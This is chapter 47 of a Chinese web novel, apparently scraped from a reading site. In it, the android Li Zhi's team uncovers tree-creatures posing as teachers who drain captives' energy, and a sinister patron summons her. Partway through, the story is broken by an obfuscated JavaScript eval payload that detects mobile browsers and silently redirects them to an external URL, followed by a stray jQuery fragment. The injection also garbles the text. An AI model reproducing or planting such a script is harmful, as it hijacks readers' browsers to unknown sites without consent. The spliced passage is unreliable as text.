47. 迷宫考核九

作品:《在赛博世界里拍恐怖片后爆红了

    “咔嚓——”


    推门声像冰冷的刀片,划破了实验室的死寂。


    高跟鞋敲击地面的声音不紧不慢地响起,每一步都精准地踩在心跳的间隙上,如同倒计时的钟摆。


    “要往欢乐谷底送产品了?今年的展览……开得这么早?”她的声音带着一丝被打扰的不悦,仿佛在讨论一批无关紧要的货物。


    电话那头似乎急切地央求着什么。


    “不行。”她的语气斩钉截铁,如同寒冰,“这批货,不行。”


    “最好的能量,要留给‘祂’。至于我的腿……”她的声音里透出一丝近乎贪婪的渴望,“快成型了。剩下的,我自己用。”


    对面仍在争辩,她的不耐终于化为尖锐的嘲讽:


    “杀他们怎么了?我要什么道德?”她冷笑一声,“苏玛尔星是怎么变成和你一样的秃驴的,你不清楚?”


    她的声音陡然拔高,带着被砍杀的植物般的、冰冷的愤怒:


    “凭什么——人就能砍树,树就不能杀人!?”


    “树”在“杀”人。


    骊执暗暗攥紧了拳头,压下能量核心的震动。


    看了她的猜测是对的,她们是要被杀的人,所谓的两个“老师”,芯子里可能真的是满仓树。


    在她重新回到格子间,再次用能量压缩技术压制住了到处乱窜的满仓树后,骊镜用还在教室里时杀死满仓树的代码,杀死了它第二次。


    “创造者,你说这棵满仓树,这次为什么会‘活过来’呢?”


    他一边传讯,一边像摆弄讨厌的玩具般,将那棵满仓树推倒、扶起、再推倒。


    骊执敲了敲他的机体,没有直接回答,反而抛出一个问题:


    “一个人,要有几条腿?”


    骊镜愣了愣。


    当然是有两条互相牵制的腿。


    是有两条,如果一条腿坏了,另一条腿能被拖着走的腿。


    在一棵树的认知里,人类拥有两条协调的腿。那么,在编写榨取能量的程序时,满仓树很可能将这种“成对出现、相互影响”的关系,也植入了系统。


    这完美解释了为何她的树一动,宋如雨的树也会随之“逃跑”。


    “队长,我刚才进行了占卜,”,几乎同时,频道里传来李泽川的印证,“卦象说,我的满仓树会……发疯,是受了系统里另一个存在的影响。”


    “……”


    发疯?


    骊执抬起头,正对着李泽川的树的,是安夏的树。


    ……被雇佣兵追着打、用蒲公英杆才勉强“防守成功”的“痛苦记忆”还历历在目。


    连她都讨不了便宜,更别提一棵作为能量转换器的树了。


    骊执隐晦地向自己的队友发送了关于满仓树需要两条相互牵制的腿的推断,只觉得仿生胳膊的关节处,又开始隐隐作痛了。


    高跟鞋老师和班主任,各需要两条,所以一共是四个格子对应的四条腿。


    如同不能用人类的价值标准看待一棵树一样,这里也不能用人类的大脑猜测一棵树的想法。


    在“老师”眼里,人类杀死了“树”,所以“树”吸取人的营养也是应该的。


    “创造者,这么来看,之前我们见到的BOSS,也是满仓树,对吗?”骊镜看起来很嫌恶,风扇都转得更响了:“虽然变成人的满仓树也不是什么好东西,但那个半人半树的还是更恶心。”


    骊执再度敲了敲他,“我也这么觉得。”


    “队长……”


    耳边传来宋如雨小心翼翼地呼唤。


    骊执回过头望去,转换器消失,属于宋如雨的记忆也该回来了。


    再次对上那双在队友面前各位温润的眼睛,宋如雨不可避免地回想起,自己主播的职业病是如何犯了、如何见到好看的就拔不开腿,是怎么对着这张脸“犯花痴”的——


    骊执的视野里,宋如雨的脸颊以肉眼可见的速度迅速涨红,像个烧得很旺的、快要冒烟的灯笼。


    “不好意思队长……刚刚脑子抽了,没想起来……”


    不过,《身临其境》的副本效果做的这么好吗?居然真的能让她失忆。


    某种不安隐约漫上心头,但眼下情况紧急,她暂且按下不表:“刚刚我把你给我们的代码对接到我的空间里后,运行到一半,我就发现我的满仓树不动了。”


    “没关系。”


    骊执并不意外,“它已经死了。”


    宋如雨的树与她的树本是一对“腿”。


    她的树死过一次,迷宫考核开始后,属于宋如雨那一条腿的能量,本来就不足以支撑两条腿,而现在,这仅剩的一棵满仓树承受了她和宋如雨两个人的代码轰炸,能量终于耗尽了。


    “不过还是要继续运行。”


    不知何时,挂在四间格子上的,那个象征养料的“烹调”时间的倒计时,已经全部归零了。


    骊执的眼中数据流微闪:“我伪造了我们已被‘烹饪’完毕的信号。”


    现在,就等鱼儿咬钩了。


    空旷的实验室里久久没再传来动静,安夏等得有些心焦了。


    “骊执,你说这两个老师,最初是树……还是人?”


    她压低声音,提出一个毛骨悚然的猜想:“他们会不会,原本是人,为了变回人形,才拼命吸取人类的能量?”


    骊执并没有对这个看起来没太有营养的问题感到不耐烦,她琥珀色的瞳孔微微收缩,似乎在检索某种更深层的数据:


    “我猜,是树。”


    骊执摇了摇头,“我觉得,如果有选择权,没有多少人愿意当‘人’。”


    满仓园的评价体系注定了人类会被一步步污染同化,留在这里当一块肥肉,没多少人愿意。


    ……但同样,也没有多少树,甘愿永远做一棵树。


    满仓树一边憎恶着自身作为树的宿命,一边又将作为耗材的命运,强加于人类。


    因为恨吗。


    如高跟鞋老师所说,因为苏玛尔星,被人类毁坏殆尽了?


    骊执皱了皱眉,她记得安夏给她这个星球的信息的时候,提到过这里的生态有很大的问题,土地贫瘠而枯黄。


    当初坐在飞行器上前往满仓园的时候,俯瞰大地,树木毫无生气,她也几乎看不到绿色。


    “会长……点名要这批货?”


    良久,电话那头似乎提到了某个关键人物。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562318|184058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实验室里的声音骤然微弱下去,带上了一丝小心翼翼的、近乎惶恐的意外,像被扎破的气球。


    “隋约他……要谁?”


    隋约?


    骊镜无声地复述了一遍,好拗口的名字。


    “他要骊执。”


    “咔嚓——”


    实验室的门再次洞开。光头班主任掐断电话,步履蹒跚地走了进来,目光急不可耐地投向地下那四个格子间,像饥饿的野兽搜寻着猎物。


    “先把她放了!再被满仓树吸下去,脑子怕是要坏了!”


    “创造者?”


    骊镜直觉有些不对劲,扭头看向长久沉默的仿生人,不安地唤道。


    “他说……他一定要她,全须全尾地,去见他。”


    满仓园中学的校长擦拭着额头的冷汗,手掌抑制不住地颤抖。


    像惊弓之鸟,又像已经被石头击落的飞禽,一点一点,颤抖着吐息。


    “他很……‘想念’她。”


    装潢华丽黑色办公室,像一块镶嵌了无数黑曜石的阴云,沉甸甸地压人。男人正慵懒地坐在宽大的座椅上,拨弄着桌子上几块琥珀样式的晶石。


    沉静的、未经切割的原石,在这朵阴云下,依然光彩炫目。


    “很漂亮。”


    “很聪明。”


    他时不时停下拨弄,偶尔蹦出来一两句评价,回荡在静悄悄的空间里,听起来倒不像是评价什么宝石,而是和宝石相似的、拥有琥珀色眼瞳的人。


    有机会踏进这间屋子的每一个诚惶诚恐的来访者,第一瞬间都是——


    这间屋子如同他的主人,奢华到了极点,又古怪了极致——


    明明有三面密密麻麻、摆满珍藏的墙壁,却一点也不显得拥挤;无数被星际富人趋之若鹜的珍藏——古玩、字画、宝珠抑或香料,被随意地丢在背后那面墙上,像在摆放一些没意思的杂碎。


    嵌入左右两面墙壁是无尽的、仿佛能涵盖所有人类能抵达的知识尽头的书籍,有关仿生人、时空旅行的书被翻得很旧,卷起边,像是预备捕获什么难搞的机械魂灵。


    巨大的一面落地窗被盖得严实,密不透光,仿佛永恒的深夜。


    他漫不经心地摩挲着掌心中一枚物件——那并非寻常珍宝,而是一只被完美切割、闪烁着不祥血光的红宝石苹果。


    “把这个,给她。”


    苹果被放到一个精致的丝绒盒子里,像一份被精心打扮好的礼物。


    他抬手,嫌恶地示意手下将那些贵族钟爱的“人类残肢装饰品”拖走,声音里却带着一丝扭曲的、近乎温柔的期待。


    然后,他笑了起来,一双和苹果颜色相似的郁红色的眼睛弯起,如同盛满了粘稠的恶意与势在必得。


    “把她安安稳稳带过来,用我那架最酷的星舰。”


    “甜的脆的水果放一些,我最喜欢的书准备一份也放进去,但是把我的酒撤了,她不喜欢那个味道。”


    喋喋不休,事无巨细,语气里带着股理所应当的亲昵。


    “记得跟她说——”


    他的语调轻柔,却带着穿透一切的冰冷,如同毒蛇吐信:


    “荔枝荔枝,我是月饼。”